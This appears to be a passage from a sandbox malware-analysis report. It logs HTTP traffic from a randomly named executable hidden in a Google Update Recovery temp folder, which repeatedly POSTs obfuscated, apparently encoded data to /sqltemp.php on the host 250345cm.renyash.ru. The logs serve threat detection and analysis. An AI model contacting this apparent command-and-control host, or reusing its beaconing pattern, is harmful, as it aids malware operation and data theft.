Jan 1, 2025 16:03:31.664926052 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zSZcddzbyyQzv%2Bd4osYnu5ZYwsAXExRv4QQjKVe%2Bg8VcIs3IwExBWTtq6SfJG0SJj7Uu2d1x7by20yb4qQ45gq4IN%2BTZd%2BkCn4T9Vr8nuKJQcCDLBBCYPCb%2BLRUficQY9t8NsL%2Fs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365850cfd4326-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5326&min_rtt=2474&rtt_var=6631&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=57730&cwnd=177&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	62747	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:31.783994913 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:32.141781092 CET	1124	OUT	Data Raw: 53 53 5a 57 51 5c 51 55 58 56 52 59 56 5e 59 56 5b 5a 54 5e 55 5e 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SSZWQ\QUXVRYV^YV[ZT^U^P^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$?#?.3X#D;:&4Y*?W(.'!"3+;9D1/ ::&Y.,Y-
Jan 1, 2025 16:03:32.237021923 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:32.431332111 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZuKBv0Aa61%2FiSQMdQvxb00avjUmd61pGNnmwZdq%2B9P4xXE9xux6G2cxnIM6QKVGNqbvWsiJP0XfJ06rkmDu2Xrd5ZBlvo9KmJa65D3fOvncFhzYucMw2UiIgl4bvou%2B%2B8sks1a2L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3658a2c4d8c4b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5185&min_rtt=2040&rtt_var=7055&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=53676&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	62748	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:32.551105022 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:32.907444954 CET	1124	OUT	Data Raw: 56 56 5a 57 51 5b 54 52 58 56 52 59 56 50 59 54 5b 5c 54 5d 55 5e 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VVZWQ[TRXVRYVPYT[\T]U^PXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.['/:#/_$ 89= -3+4),Y# ?%??W,:&Y.,Y-
Jan 1, 2025 16:03:33.023648024 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:33.301673889 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7VQKM2wyTEiLOtx689Lt8iKX71qOhnGfxakrGXJX%2BhZ1Y4zFlWpuuKGl3b2isCKvjpTAZyQB4etjcc50%2FjMXDyR27RxMqrujSpQPYarN1L3Jz7MAziz4IFxN7UdqqIydknEYTB43"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3658f1ed48c11-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4900&min_rtt=1955&rtt_var=6624&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=57214&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	62749	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:33.425148964 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:33.782366991 CET	1124	OUT	Data Raw: 56 52 5f 53 51 5b 51 51 58 56 52 59 56 5a 59 52 5b 53 54 51 55 5c 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VR_SQ[QQXVRYVZYR[STQU\P[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y'4:'.9%4>?(:?*. !,?=28,:&Y.,Y--
Jan 1, 2025 16:03:33.870084047 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:34.124664068 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4IDWEAhM%2Bm1MrdNJBQ7iYVvBJKyKljMpkPIiQgU9cMUS7%2FPXnAZrDdZJGoW%2BU41Wp%2FNKQcU8m0wQ0p1e20ARpsHYX4iQps7vvPLL6YjY3sd5dOIvytyAi2Ka3HQxqhOMgf1k8uyG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365946bc08c5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2566&min_rtt=2030&rtt_var=1834&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=230866&cwnd=170&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	62750	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:34.254590988 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:34.611102104 CET	1124	OUT	Data Raw: 56 52 5f 55 54 5e 51 50 58 56 52 59 56 50 59 5e 5b 58 54 5b 55 5c 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VR_UT^QPXVRYVPY^[XT[U\P[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S._&,> $-?C/)>7>;<?*=' 2Z?%?9:&Y.,Y-
Jan 1, 2025 16:03:34.698385000 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:34.984730959 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ksvlGXq0Ai7uq3BOe3Mhz%2F8FHylKRp65k888y2%2FUQO9B5s6vlt3ziU9XNMCzV6O1e%2F%2FU%2Fmr6cbXaG2syKeIfkzUTsgQvnuSMM02lgSWNxr0xhg71tOAcC17dMNR2mIH9WbuPYPLz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3659998e2c481-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2661&min_rtt=1513&rtt_var=2864&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=136423&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	62751	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:35.112445116 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:35.469870090 CET	1124	OUT	Data Raw: 53 57 5a 51 54 5e 51 56 58 56 52 59 56 5d 59 51 5b 5f 54 5c 55 5c 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SWZQT^QVXVRYV]YQ[_T\U\P^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.[3/54!3X?/T -#(: =-4 !,*8)%'T.&Y.,Y-1
Jan 1, 2025 16:03:35.557209969 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:35.822882891 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yRqle7UAq9bQ8%2FFh%2B1jUSx%2FRvFncuwFQowryD%2BXFWvi7h%2BQE1FsQT06gYqwOQFvyJwbefYi4uOCwAXbyhCB1Rk5fVqNgEjOfzztWX3Mox3tApffvEYpAEbTiKqNPZZUKp0Dt3jmA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3659ef9bb2395-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2663&min_rtt=2031&rtt_var=2026&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=205894&cwnd=138&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	62752	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:35.995052099 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:36.345165014 CET	1124	OUT	Data Raw: 53 53 5a 50 54 50 51 57 58 56 52 59 56 5d 59 53 5b 5e 54 5f 55 5c 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SSZPTPQWXVRYV]YS[^T_U\P^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S._3<>7<9'-#B;:&!-;(_;S(= 4<"&/?S9:&Y.,Y-1
Jan 1, 2025 16:03:36.438611984 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	62753	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:36.586746931 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:36.938668966 CET	1964	OUT	Data Raw: 53 57 5f 57 51 5c 54 50 58 56 52 59 56 5d 59 5e 5b 5d 54 5e 55 58 50 5c 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SW_WQ\TPXVRYV]Y^[]T^UXP\Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-&/: ?:3(,=R#<9),]#<;2Y?W-*&Y.,Y-1
Jan 1, 2025 16:03:37.030456066 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:37.320019007 CET	958	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g60EwD1PEg%2FBgSSRpQ1YlLHxRy3fjB5So8uqbPzA6ELIM5Nvt%2F8Bve%2Fc7VaTwMyfak1xRoB8HSuO9Np3onl2o6R9t1%2BFsLAy8Hq1OviF84050ad4EOcg3%2BvSiv6NktYQgsZWaNL%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365a82ebcf3bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1566&rtt_var=592&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=919395&cwnd=81&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 51 29 13 36 56 25 0b 2f 03 2b 3d 2c 0e 25 10 0c 5b 3f 38 26 17 27 2e 3b 5a 3d 39 2b 1e 22 12 35 59 32 06 33 02 34 04 3b 1c 24 34 2b 59 05 1c 20 44 35 01 23 01 2a 5b 2b 16 32 2c 3e 03 24 00 24 5e 2b 38 01 0c 20 38 3b 59 30 13 16 5b 2a 04 28 1d 30 12 20 03 2f 3f 08 0d 30 10 2c 54 00 11 25 0f 25 22 23 01 20 27 2c 10 35 0f 21 1d 31 37 2a 56 32 3c 24 09 20 5f 26 1b 32 22 3b 1d 22 1d 25 02 26 5d 31 10 37 13 01 18 28 3e 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%Q)6V%/+=,%[?8&'.;Z=9+"5Y234;$4+Y D5#[+2,>$$^+8 8;Y0[(0 /?0,T%%"# ',5!17*V2<$ _&2";"%&]17(>%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	62754	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:36.739120960 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:37.094784975 CET	1124	OUT	Data Raw: 56 51 5f 5d 54 5f 51 57 58 56 52 59 56 5e 59 52 5b 5b 54 5e 55 58 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VQ_]T_QWXVRYV^YR[[T^UXP^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$?)#,>%>?A,9"#=^<_#R*=$]7<++2;:&Y.,Y-
Jan 1, 2025 16:03:37.183365107 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:37.461478949 CET	801	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YMj0gG31lrZdmLH6hXKk8ovMaG5tiRf1%2Feb1PhzJtNVLO2Xqh8EGGOr0jJzkQvm905xj5ayhuD2Wu7AwLnZQtPoz9YiqhiHW2GtCw22fmjX7QSABncuTvkebSDsDFAfLVqbUO8cw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365a91f9a4405-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2066&min_rtt=1651&rtt_var=1449&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=293644&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	62755	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:37.580358982 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:37.938699961 CET	1124	OUT	Data Raw: 56 57 5f 51 51 5c 54 50 58 56 52 59 56 5b 59 5e 5b 5c 54 51 55 58 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VW_QQ\TPXVRYV[Y^[\TQUXPXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S._'7/-'=<;)>!-0?)'S*$[42X+6%+T:&Y.,Y-)
Jan 1, 2025 16:03:38.034554005 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:38.290910959 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4qW2ONNKKyfc8ePWKZTwBIh60ir5wAnaAyEkpM02gJOKP6xT2zvhlDjbXxLTVtYWaeT3hIsVau%2FFXQnEoNQWuOCVbHc4yTHvlXxuzMkhpmlsJIX%2FmdaURr%2F46dBCEHEY8p5o%2BIAk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365ae69dd8c24-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5036&min_rtt=1957&rtt_var=6893&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=54901&cwnd=140&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	62756	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:38.429307938 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1120 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:38.782418966 CET	1120	OUT	Data Raw: 53 50 5f 5d 54 58 54 5c 58 56 52 59 56 59 59 55 5b 5e 54 51 55 5a 50 5d 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SP_]TXT\XVRYVYYU[^TQUZP]Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S._' Y9^%=7.> -??U>##+]8!C2,&Y.,Y-)
Jan 1, 2025 16:03:38.908606052 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:39.168900967 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SEBBl0qENQVc7HS3w73ai%2BEEbz9qcWvAE%2FzYstrLWvzDtaeY1aQyfvXraNMDwpUg1Li1xlRrVk3BRID4DKP08T4XmSBCjsNm%2FFYbU4dM3bLZIdCdZ%2BF1%2FwJBBcxDLzBd%2Fv0rDFkj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365b3dfeb238e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3717&min_rtt=1990&rtt_var=4201&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1422&delivery_rate=92340&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
